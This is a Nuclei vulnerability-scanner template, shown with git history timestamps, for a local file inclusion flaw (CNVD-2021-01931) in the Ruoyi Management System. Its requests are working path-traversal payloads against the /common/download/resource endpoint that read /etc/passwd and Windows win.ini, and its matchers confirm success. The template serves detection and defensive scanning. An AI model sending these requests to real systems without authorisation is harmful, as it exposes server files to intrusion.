nuclei-templates/cnvd/2021/CNVD-2021-01931.yaml

38 lines
1.3 KiB
YAML
Raw Normal View History

2022-03-12 15:20:39 +00:00
id: CNVD-2021-01931
info:
name: Ruoyi Management System - Local File Inclusion
2022-04-07 12:53:37 +00:00
author: daffainfo,ritikchaddha
2022-03-12 15:20:39 +00:00
severity: high
description: The Ruoyi Management System contains a local file inclusion vulnerability that allows attackers to retrieve arbitrary files from the operating system.
reference:
- https://disk.scan.cm/All_wiki/%E4%BD%A9%E5%A5%87PeiQi-WIKI-POC-2021-7-20%E6%BC%8F%E6%B4%9E%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md?hash=zE0KEPGJ
2022-03-12 15:20:39 +00:00
tags: ruoyi,lfi,cnvd,cnvd2021
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-22
2022-03-12 15:20:39 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/common/download/resource?resource=/profile/../../../../etc/passwd"
2022-04-06 09:11:39 +00:00
- "{{BaseURL}}/common/download/resource?resource=/profile/../../../../Windows/win.ini"
2022-04-07 13:09:09 +00:00
2022-04-07 12:53:19 +00:00
matchers-condition: or
2022-03-12 15:20:39 +00:00
matchers:
- type: regex
2022-04-07 12:53:19 +00:00
part: body
2022-03-12 15:20:39 +00:00
regex:
- "root:.*:0:0"
2022-04-06 09:11:39 +00:00
- type: word
part: body
2022-04-07 12:53:19 +00:00
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
# Enhanced by cs on 06/03/2022